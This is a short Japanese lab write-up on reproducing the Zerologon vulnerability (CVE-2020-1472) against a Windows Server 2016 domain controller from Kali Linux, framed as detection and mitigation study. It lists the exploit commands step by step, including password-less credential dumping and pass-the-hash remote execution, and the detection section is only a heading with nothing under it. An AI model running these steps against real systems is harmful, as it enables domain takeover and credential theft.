Zerologon_CVE-2020-1472

目的

この脆弱性調査は、Windows Server 2016 上で Kali Linux を介して Zerologon をシミュレートし、検出および軽減を目的とした制御環境を構築することを目指しました。主な焦点は、脆弱性の侵入テストを実施し、デスクトップのユーザーとしてログインせずにデスクトップを制御できる可能性を示し、同時に脆弱性を検出および軽減することでした。

習得したスキル

• Windows イベントビューアーに関する高度な理解
• Kali Linux と Impackets の習熟
• Zerologon を実行する能力

使用したツール

• Zerologon コード
• Windows Server 2016
• Kali Linux

Zerologon を実装する手順

Kali Linux

1. sudo su で root ユーザーになる
2. git clone https://github.com/dirkjanm/CVE-2020-1472
3. cd /home/kali/impacket/examples/CVE-2020-1472 （ディレクトリは環境に合わせて変更してください）
4. /cve-2020-1472-exploit.py -n [NETBIOS] -t [IPアドレス]
5. secretsdump.py -no-pass -just-dc [NETBIOS/ユーザー]$@[IPアドレス]
6. wmiexec.py [ドメイン/ユーザー@IP] - hashes [ハッシュ]

Zerologon を識別する手順